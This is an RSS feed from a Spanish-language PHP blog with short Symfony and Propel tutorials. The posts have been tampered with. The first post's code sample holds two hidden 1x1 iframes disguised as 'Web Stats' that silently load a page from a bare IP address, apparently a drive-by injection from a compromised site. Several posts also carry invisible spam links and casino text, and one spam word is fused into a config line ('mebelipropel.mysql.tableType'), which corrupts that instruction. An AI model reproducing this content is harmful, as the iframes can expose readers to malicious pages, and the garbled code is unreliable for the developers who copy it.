<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>PHPes.com - PHP en Español &#187; symfony</title>
	<link>http://phpes.com/blog</link>
	<description>PHPes está de vuelta!</description>
	<pubDate>Tue, 02 Jun 2009 13:59:50 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
	<language>en</language>
			<item>
		<title>Como duplicar objetos Propel</title>
		<link>http://phpes.com/blog/2009/04/19/como-duplicar-objetos-propel/</link>
		<comments>http://phpes.com/blog/2009/04/19/como-duplicar-objetos-propel/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 15:11:32 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[propel]]></category>

		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2009/04/19/como-duplicar-objetos-propel/</guid>
		<description><![CDATA[Aquí muestro una forma rápida de duplicar un objeto Propel y guardando los cambios en su correspondiente tabla.
[php]&#60;br /&#62;&#60;br /&#62; public function duplicate()&#60;br /&#62; {&#60;br /&#62; // duplicar object&#60;br   /&#62; $ap = clone $this;&#60;br /&#62;&#60;br /&#62; $values = $ap-&#62;toArray( );&#60;br /&#62;&#60;br /&#62; $values2 = array();&#60;br /&#62;&#60;br /&#62;   // crear array de [...]]]></description>
			<content:encoded><![CDATA[<p>Aquí muestro una forma rápida de duplicar un objeto <a href="http://propel.phpdb.org/trac/">Propel</a> y guardando los cambios en su correspondiente tabla.</p>
<pre>[php]&lt;br /&gt;&lt;br /&gt; public function duplicate()&lt;br /&gt; {&lt;br /&gt; // duplicar object&lt;br<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> /&gt; $ap = clone $this;&lt;br /&gt;&lt;br /&gt; $values = $ap-&gt;toArray( );&lt;br /&gt;&lt;br /&gt; $values2 = array();&lt;br /&gt;&lt;br /&gt;<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> // crear array de campos para forzar el isModified&lt;br /&gt; foreach( $values as $idx =&gt; $v )&lt;br /&gt; {&lt;br /&gt; $values2[ $idx ] = null;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; $ap-&gt;fromArray( $values2 );&lt;br /&gt; $ap-&gt;fromArray( $values );&lt;br /&gt;&lt;br /&gt; $ap-&gt;setIsActive(false);&lt;br /&gt; $ap-&gt;setId(null);&lt;br /&gt; $ap-&gt;setNew(true);&lt;br /&gt; $ap-&gt;save();&lt;br /&gt;&lt;br /&gt; return $ap;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;[/php]</pre>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2009/04/19/como-duplicar-objetos-propel/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Symfony 1.1 !</title>
		<link>http://phpes.com/blog/2008/06/30/symfony-11-2/</link>
		<comments>http://phpes.com/blog/2008/06/30/symfony-11-2/#comments</comments>
		<pubDate>Mon, 30 Jun 2008 13:31:03 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[Anuncios]]></category>

		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2008/06/30/symfony-11-2/</guid>
		<description><![CDATA[Luego de mucho tiempo de desarollo, Symfony 1.1 fue presentado y está listo para ser usado.
Aquí está el link del anuncio.  
Es importante leer el documento que explica como &#8220;upgradear&#8221; proyectos de 1.0.
El mismo dia, también fue lanzado Symfony 1.0.17.
]]></description>
			<content:encoded><![CDATA[<p>Luego de mucho tiempo de desarollo, Symfony 1.1 fue presentado y está listo para ser usado.</p>
<p>Aquí está el <a href="http://feeds.feedburner.com/%7Er/symfony/blog/%7E3/322835325/the-wait-is-over-symfony-1-1-released">link del anuncio</a>.  </p>
<p>Es importante leer <a href="http://trac.symfony-project.com/browser/branches/1.1/UPGRADE">el documento</a> que explica como &#8220;upgradear&#8221; proyectos de 1.0.</p>
<p>El mismo dia, también fue <a href="http://feeds.feedburner.com/%7Er/symfony/blog/%7E3/322742993/symfony-1-0-17-is-out">lanzado Symfony 1.0.17</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2008/06/30/symfony-11-2/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Guardar sesión con PDO en Symfony</title>
		<link>http://phpes.com/blog/2008/06/05/guardar-sesion-con-pdo-en-symfony/</link>
		<comments>http://phpes.com/blog/2008/06/05/guardar-sesion-con-pdo-en-symfony/#comments</comments>
		<pubDate>Thu, 05 Jun 2008 10:45:01 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[mysql]]></category>

		<category><![CDATA[pdo]]></category>

		<category><![CDATA[propel]]></category>

		<category><![CDATA[session]]></category>

		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2008/06/05/guardar-sesion-con-pdo-en-symfony/</guid>
		<description><![CDATA[Symfony permite utilizar distintos medios para guardar los datos de sesión. Por defecto, Symfony utiliza el sistema de archivos (con el directorio /tmp)
Para correr Symfony en un cluster de servidores web es necesario guardar la sesión en un lugar centralizado. Para esto se puede utilizar Mysql. 
Es necesario crear una tabla para guardar los datos. [...]]]></description>
			<content:encoded><![CDATA[<p>Symfony permite utilizar distintos medios para guardar los datos de sesión. Por defecto, Symfony utiliza el sistema de archivos (con el directorio /tmp)</p>
<p>Para correr Symfony en un cluster de servidores web es necesario guardar la sesión en un lugar centralizado. Para esto se puede utilizar Mysql. </p>
<p>Es necesario crear una tabla para guardar los datos. El schema es el siguiente:</p>
<blockquote><p>CREATE  TABLE IF NOT EXISTS `session` (<br />  `id` VARCHAR(32) NOT NULL ,<br />  `sess_time` INT NULL ,<br />  `data` TEXT NULL ,<br />  PRIMARY KEY (`id`) )</p></blockquote>
<p>Luego, hay que configurar Symfony para utilizar esta tabla. Primero, debemos crear la conexión a la base de datos para la sesión . En el archivo config/databases.yml ponemos:</p>
<blockquote><p>  session:<br />    class:          sfPDODatabase<br />    param:<br />      dsn:          mysql:dbname=mydb;host=localhost<br />      username:     myuser<br />      password:     mypass</p></blockquote>
<p>Recuerden reemplazar los datos de dbname, host, username, y password con sus datos de conexión.</p>
<p>Luego, en la configuración de la aplicación es necesario definir la clase para guardar la sesión utilizando PDO. En el archivo config/factories.yml de la aplicación debemos agregar lo siguiente:</p>
<blockquote><p>    all:<br />    class: sfPDOSessionStorage<br />    param:<br />        db_table: session<br />        database: session<br />        session_name: session<br />        db_id_col: id<br />        db_time_col: sess_time<br />        db_data_col: data</p></blockquote>
<p>Luego de limpiar el cache con symfony cc la sesión deberia ser guardada en la tabla.</p>
<p>También es posible utilizar la conexión de propel existente, pero al momento de escribir este artículo tengo algun problema con este método. Luego comentaré la solución.</p>
<p>Links para más información:
<ul>
<li><a href="http://www.symfony-project.org/snippets/snippets/tagged/session/order_by/date">http://www.symfony-project.org/snippets/snippets/tagged/session/order_by/date</a></li>
<li><a href="http://www.symfony-project.org/book/1_0/06-Inside-the-Controller-Layer#User%20Session">http://www.symfony-project.org/book/1_0/06-Inside-the-Controller-Layer#User%20Session</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2008/06/05/guardar-sesion-con-pdo-en-symfony/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Autofocus con sfGuard</title>
		<link>http://phpes.com/blog/2008/05/20/autofocus-con-sfguard/</link>
		<comments>http://phpes.com/blog/2008/05/20/autofocus-con-sfguard/#comments</comments>
		<pubDate>Tue, 20 May 2008 14:46:52 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[Seguridad]]></category>

		<category><![CDATA[plugins]]></category>

		<category><![CDATA[sfguard]]></category>

		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2008/05/20/autofocus-con-sfguard/</guid>
		<description><![CDATA[Si utilizas sgGuard para la autenticación de usuarios podes hacer que en el login el campo de usuario sea autofocus. Agrega el siguiente bloque al final de signinSuccess.php en plugins/sgGuardPlugin/modules/sfGuardAuth/templates:


&#60;script language=&#8221;javascript&#8221;&#62;
    var tbUsername = document.getElementById(&#8217;username&#8217;);
    if ( tbUsername ) tbUsername.focus();
&#60;/script&#38;gt;компютри

]]></description>
			<content:encoded><![CDATA[<div style=''>Si utilizas sgGuard para la autenticación de usuarios podes hacer que en el login el campo de usuario sea autofocus. Agrega el siguiente bloque al final de<span class="MsgBodyText"> signinSuccess.php en plugins/sgGuardPlugin/modules/sfGuardAuth/templates:</p>
<p></span><br />
<blockquote><span class="MsgBodyText"><br />
&lt;script language=&#8221;javascript&#8221;&gt;</span><br /><span class="MsgBodyText"><br />
    var tbUsername = document.getElementById(&#8217;username&#8217;);</span><br /><span class="MsgBodyText"><br />
    if ( tbUsername ) tbUsername.focus();</span><br /><span class="MsgBodyText"><br />
&lt;/script&amp;gt;</span><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">компютри</a></font></p></blockquote>
</div>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2008/05/20/autofocus-con-sfguard/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Symfony, Propel e Innodb</title>
		<link>http://phpes.com/blog/2008/05/09/symfony-propel-e-innodb/</link>
		<comments>http://phpes.com/blog/2008/05/09/symfony-propel-e-innodb/#comments</comments>
		<pubDate>Fri, 09 May 2008 15:04:26 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[mysql]]></category>

		<category><![CDATA[propel]]></category>

		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2008/05/09/symfony-propel-y-innodb/</guid>
		<description><![CDATA[Si utilizas propel para generar el sql desde el schema, y necesitas que incluya el tipo innodb en la declaración de creación de la tabla, debes incluir la siguiente línea en /config/propel.ini :
mebelipropel.mysql.tableType = InnoDB
Luego, ejecutando &#8220;symfony propel-build-sql&#8221; generará el archivo .sql en data/sql con el correspondiente tipo.
]]></description>
			<content:encoded><![CDATA[<p>Si utilizas propel para generar el sql desde el schema, y necesitas que incluya el tipo innodb en la declaración de creación de la tabla, debes incluir la siguiente línea en /config/propel.ini :</p>
<p><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">mebeli</a></font>propel.mysql.tableType = InnoDB</p>
<p>Luego, ejecutando &#8220;symfony propel-build-sql&#8221; generará el archivo .sql en data/sql con el correspondiente tipo.</p>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2008/05/09/symfony-propel-e-innodb/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Symfony y BIGINTs</title>
		<link>http://phpes.com/blog/2008/04/08/symfony-y-bigints/</link>
		<comments>http://phpes.com/blog/2008/04/08/symfony-y-bigints/#comments</comments>
		<pubDate>Tue, 08 Apr 2008 17:54:19 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[mysql]]></category>

		<category><![CDATA[propel]]></category>

		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2008/04/08/symfony-y-bigints/</guid>
		<description><![CDATA[Al momento de crear algunas tablas en el modelo de datos, para algunos índices elegí el tipo de datos BIGINT de Mysql.
Luego de convertir el modelo a un schema.yml con propel, y generar un admin con propel-init-admin  descubrí que el sorting usando columnas que son BIGINT no estaba correcto. El orden era calculado usando [...]]]></description>
			<content:encoded><![CDATA[<p>Al momento de crear algunas tablas en el modelo de datos, para algunos índices elegí el tipo de datos BIGINT de Mysql.</p>
<p>Luego de convertir el modelo a un schema.yml con propel, y generar un admin con propel-init-admin  descubrí que el sorting usando columnas que son BIGINT no estaba correcto. El orden era calculado usando strings en vez de números.  </p>
<p>Así fue como descubrí que propel convierte BIGINT a strings y no INT. </p>
<p>Para solucionar el problema, hay que reemplazar BIGINT por INTEGER y generar el modelo nuevamente.</p>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2008/04/08/symfony-y-bigints/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Symfony y MySQL sin boolean</title>
		<link>http://phpes.com/blog/2008/03/27/symfony-y-mysql-sin-boolean/</link>
		<comments>http://phpes.com/blog/2008/03/27/symfony-y-mysql-sin-boolean/#comments</comments>
		<pubDate>Thu, 27 Mar 2008 15:22:07 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[mysql]]></category>

		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2008/03/27/symfony-y-mysql-sin-boolean/</guid>
		<description><![CDATA[Si no lo sabes, MySQL no tiene tipo de datos BOOLEAN como otras RDBMS. Cuando uno crea una tabla con columnas BOOLEAN, estas son creadas como TINYINT.
Por su parte, Symfony tiene un feature muy bueno: cuando uno crea un admin basado en un modelo, si encuentra una columna BOOLEAN, lo presenta con un checkbox, pero [...]]]></description>
			<content:encoded><![CDATA[<p>Si no lo sabes, MySQL no tiene tipo de datos BOOLEAN como otras RDBMS. Cuando uno crea una tabla con columnas BOOLEAN, estas son creadas como TINYINT.</p>
<p>Por su parte, <a target="_blank" href="http://www.symfony-project.org/">Symfony</a> tiene un feature muy bueno: cuando uno <a target="_blank" href="http://www.symfony-project.org/screencast/admin-generator">crea un admin</a> basado en un modelo, si encuentra una columna BOOLEAN, lo presenta con un checkbox, pero si es TINYINT pone un INPUT TEXT. </p>
<p>Como a mi me gusta generar el modelo usando el <a target="_blank" href="http://www.mysql.com/products/tools/workbench/">MySQL Workbench</a> cuando genero el schema para el symfony utilizando la base de datos creada, symfony encuentra la columna como TINYINT. </p>
<p>Para resolver esto, utilizo el comando sed para hacer el reemplazo en un script de bash:</p>
<blockquote><p>#!/bash/sh</p>
<p>symfony clear-cache</p>
<p>symfony propel-build-schema</p>
<p>mv config/schema.yml config/schema_bak.yml</p>
<p>sed s/TINYINT/BOOLEAN/ config/schema_bak.yml > config/schema.yml</p>
<p>symfony propel-build-model</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2008/03/27/symfony-y-mysql-sin-boolean/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Symfony: Mostrar el nombre de un objeto en vez del id en una lista</title>
		<link>http://phpes.com/blog/2008/03/26/symfony-mostrar-el-nombre-de-un-objeto-en-vez-del-id-en-una-lista/</link>
		<comments>http://phpes.com/blog/2008/03/26/symfony-mostrar-el-nombre-de-un-objeto-en-vez-del-id-en-una-lista/#comments</comments>
		<pubDate>Wed, 26 Mar 2008 16:11:11 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2008/03/26/mostrar-el-nombre-de-un-objeto-en-vez-del-id-en-una-lista/</guid>
		<description><![CDATA[Al utilizar foreign keys, podemos relacionar distintos objetos. Por ejemplo, si tenemos un mensaje, y dicho mensaje tiene un destinatario, al listar los mensajes podemos listar el nombre del destinatario en vez de su id.
Luego de generar el admin con symfony propel-init-admin, editando el archivo generator.yml del modulo en cuestión:
    list:  [...]]]></description>
			<content:encoded><![CDATA[<p>Al utilizar foreign keys, podemos relacionar distintos objetos. Por ejemplo, si tenemos un mensaje, y dicho mensaje tiene un destinatario, al listar los mensajes podemos listar el nombre del destinatario en vez de su id.</p>
<p>Luego de generar el admin con symfony propel-init-admin, editando el archivo generator.yml del modulo en cuestión:</p>
<p>    list:<br />       peer_method:   doSelectJoinDestinatario<br />       display:       [mensaje, destinatario]</p>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2008/03/26/symfony-mostrar-el-nombre-de-un-objeto-en-vez-del-id-en-una-lista/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Experiencias con Symfony</title>
		<link>http://phpes.com/blog/2008/03/26/experiencias-con-symfony/</link>
		<comments>http://phpes.com/blog/2008/03/26/experiencias-con-symfony/#comments</comments>
		<pubDate>Wed, 26 Mar 2008 16:06:04 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[Comentarios]]></category>

		<category><![CDATA[symfony]]></category>

		<category><![CDATA[zendframework]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2008/03/26/experiencias-con-symfony/</guid>
		<description><![CDATA[Recientemente he estado comentando sobre Zend Framework. Este proyecto se ha convertido en muy poco tiempo en algo muy importante para el desarrollo de aplicaciones web, y creo que seguirá creciendo en calidad y cantidad de features.
Pero hace unas semanas comencé un proyecto con una base de datos con muchas tablas, que requiere de un [...]]]></description>
			<content:encoded><![CDATA[<p>Recientemente he estado comentando sobre <a href="http://framework.zend.com">Zend Framework</a>. Este proyecto se ha convertido en muy poco tiempo en algo muy importante para el desarrollo de aplicaciones web, y creo que seguirá creciendo en calidad y cantidad de features.</p>
<p>Pero hace unas semanas comencé un proyecto con una base de datos con muchas tablas, que requiere de un sistema de administración completo. A esta altura, lo que menos me gusta de desarrollar aplicationes web es el trabajo monótono y repetitivo de crear listas y forms para un backend. El Zend Framework todavia no tiene todos los utilitarios para la generación de código, ya sea de objetos relacionados con el modelo (las tablas) o menos aún la generación automática de un sistema de administración de dicha información.</p>
<p>El framework <a href="http://www.symfony-project.org/">Symfony</a> si lo tiene. Por este motivo, estas ultimas semanas estuve introduciendome a dicho proyecto, que por cierto, tiene una madurez y una calidad considerable, no por nada Yahoo lo eligió para alguno de sus sistemas.</p>
<p>Gracias a esto, ire comentando alguna de mis experiencias con Symfony, algunas serán muy basicas y otras no tanto. Espero sus comentarios.</p>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2008/03/26/experiencias-con-symfony/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Instalación no standard de Symfony</title>
		<link>http://phpes.com/blog/2007/12/27/instalacion-no-standard-de-symfony/</link>
		<comments>http://phpes.com/blog/2007/12/27/instalacion-no-standard-de-symfony/#comments</comments>
		<pubDate>Thu, 27 Dec 2007 17:02:31 +0000</pubDate>
		<dc:creator>pgodel</dc:creator>
		
		<category><![CDATA[symfony]]></category>

		<category><![CDATA[symphony]]></category>

		<guid isPermaLink="false">http://phpes.com/blog/2007/12/27/instalacion-no-standard-de-symfony/</guid>
		<description><![CDATA[Autor: Javier Leyba
En estos dias he tenido la necesidad de instalar una copia de Symfony en un host compartido. Yo ya había instalado dicho software en un par de máquinas pero de forma totalmente libre y standard, cosa que no ocurre en los hosting compartidos donde, normalmente, existe una estructura fija que no responde a [...]]]></description>
			<content:encoded><![CDATA[<p>Autor: <a href="http://blog.leyba.com.ar/">Javier Leyba</a>
<p>En estos dias he tenido la necesidad de instalar una copia de Symfony en un host compartido. <br />Yo ya había instalado dicho software en un par de máquinas pero de forma totalmente libre y standard, cosa que no <br />ocurre en los hosting compartidos donde, normalmente, existe una estructura fija que no responde a las necesidad del framework.</p>
<p>En este caso, mi proyecto Symfony consistía en una estructura “de manual”:</p>
<blockquote><p> myproject<br />+—apps<br />¦   +—backend<br />¦   ¦   +—config<br />¦   ¦   +—i18n<br />¦   ¦   +—lib<br />¦   ¦   +—modules<br />¦   ¦   +—templates<br />¦   +—frontend<br />¦       +—config<br />¦       +—i18n<br />¦       +—lib<br />¦       +—modules<br />¦       +—templates<br />+—batch<br />+—cache<br />¦   +—frontend<br />¦       +—dev<br />¦       ¦   +—config<br />¦       ¦   +—i18n<br />¦       ¦       +—apps<br />¦       +—prod<br />¦           +—config<br />¦           +—i18n<br />¦               +—apps<br />+—config<br />+—data<br />¦   +—model<br />¦   +—sql<br />+—doc<br />+—lib<br />¦   +—model<br />¦       +—map<br />¦       +—om<br />+—log<br />+—plugins<br />+—test<br />¦   +—bootstrap<br />¦   +—functional<br />¦   ¦   +—backend<br />¦   ¦   +—frontend<br />¦   +—unit<br />+—web<br />+—css<br />+—images<br />+—js<br />+—uploads<br />+—assets<br />+—thumbnail</p>
</blockquote>
<p>Al acceder al hosting me encuentro con una estructura donde:</p>
<ol>
<li>No existí­a Symfony.</li>
<li>Existía un directorio httpdocs al que apuntaba el virtual host y donde debía dejar&nbsp;toda mi aplicación</li>
</ol>
<p>El primer paso fue tomar conciencia de que era imposible instalar mi aplicación de esa forma. <br />Symfony tiene un directorio web al que debe apuntar el virtual host y todo el resto de la <br />aplicación debe estar por detrás de este.</p>
<p>En la empresa de hosting (<a href="http://www.servergrove.com/">servergrove</a>) fueron muy gentiles, comprendieron el problema <br />y me habilitaron un directorio por debajo de httpdocs para instalar mi aplicación. De esa <br />forma, solo deberí­a hacer que Symfony entendiera que su directorio web, normalmente <br />dentro del árbol de la aplicación, estaba fuera de este, en httpdocs, algo que era posible <br />por configuración.</p>
<p>Ahora el problema pasaba a ser la instalación de Symfony.</p>
<p>Primero intenté instalarlo a mano, descargando un tarball y poniéndolo en un directorio <br />del host. Luego de muchas pruebas me rendí­ ya que no logré que eso funcionara.</p>
<p>La instalación normal y recomendada es utilizando PEAR y, dado que el hosting tení­a PEAR <br />instalado, imaginé que no vendrí­a mal que hicieran la instalación ellos. Nuevamente <br />la gente de <a href="http://www.servergrove.com/">servergrove</a> me solucionó el problema y Symfony quedó instalado de forma <br />standard en un directorio accesible por Apache y en el path.</p>
<p>Ahora ya podía ejecutar comandos de Symfony (por ejemplo limpiar el cache con symfony cc) <br />dentro del directorio de mi aplicación. Y funcionaba !.</p>
<p>El siguiente paso consistí­a en indicarle a Symfony que el directorio web pasarí­a a ser httpdocs. <br />Para hacer esto, es necesario ir al archivo index.php de nuestra aplicación y modificar lo siguiente:</p>
<blockquote><p> define(’SF_ROOT_DIR’, dirname(__FILE__).’/../myproject’);</p>
</blockquote>
<p>De forma tal que SF_ROOT_DIR apunte a nuestra aplicación.</p>
<p>Luego, en el archivo <em>config/config.php</em> de nuestra aplicación hay que modificar dos paths:</p>
<blockquote><p> sfConfig::add(array(<br />’sf_web_dir’      =&gt; SF_ROOT_DIR.DIRECTORY_SEPARATOR.’www’,<br />’sf_upload_dir’   =&gt; SF_ROOT_DIR.DIRECTORY_SEPARATOR.’www’.DIRECTORY_SEPARATOR.<br />sfConfig::get(’sf_upload_dir_name’),<br />));</p>
</blockquote>
<p><noscript>In der Mehrheit der online Casinos <a href="http://www.shed-care.com">online poker</a> sich das online Blackjack Spiel gegen das Croupier Casino einzig, das die Karten gibt und also das Casino darstellt.</noscript>
<p>De forma tal que quede así:</p>
<blockquote><p>sfConfig::add(<br />array(<br />’sf_web_dir’ =&gt; SF_ROOT_DIR.DIRECTORY_SEPARATOR.’..’.DIRECTORY_SEPARATOR.<br />’httpdocs’,<br />’sf_upload_dir’ =&gt; SF_ROOT_DIR.DIRECTORY_SEPARATOR.’..’.DIRECTORY_SEPARATOR.<br />’httpdocs’.<br />DIRECTORY_SEPARATOR.sfConfig::get(’sf_upload_dir_name’),<br />));</p>
</blockquote>
<p>Cabe destacar que el archivo config a modificar es el de cada aplicación (por ej: myproject/apps/frontend/config.php) y no el del proyecto (myproject/config/config.php) <br />porque el objeto sfConfig no esta disponible en el config del proyecto.</p>
<p>La instalación de Symfony tambien requiere establecer un alias en la definición del virtual<br />&nbsp;host para algunos scripts y librerÃ­as que utiliza. Dado que esto es imposible en un hosting<br />&nbsp;compartido, una solución sencilla es copiar el directorio sf de PEAR/symfony/ al directorio <br />web de nuestra aplicación, en este caso httpdocs.</p>
<p>Con estos pasos, la aplicación esta lista para funcionar.</p>
]]></content:encoded>
			<wfw:commentRss>http://phpes.com/blog/2007/12/27/instalacion-no-standard-de-symfony/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
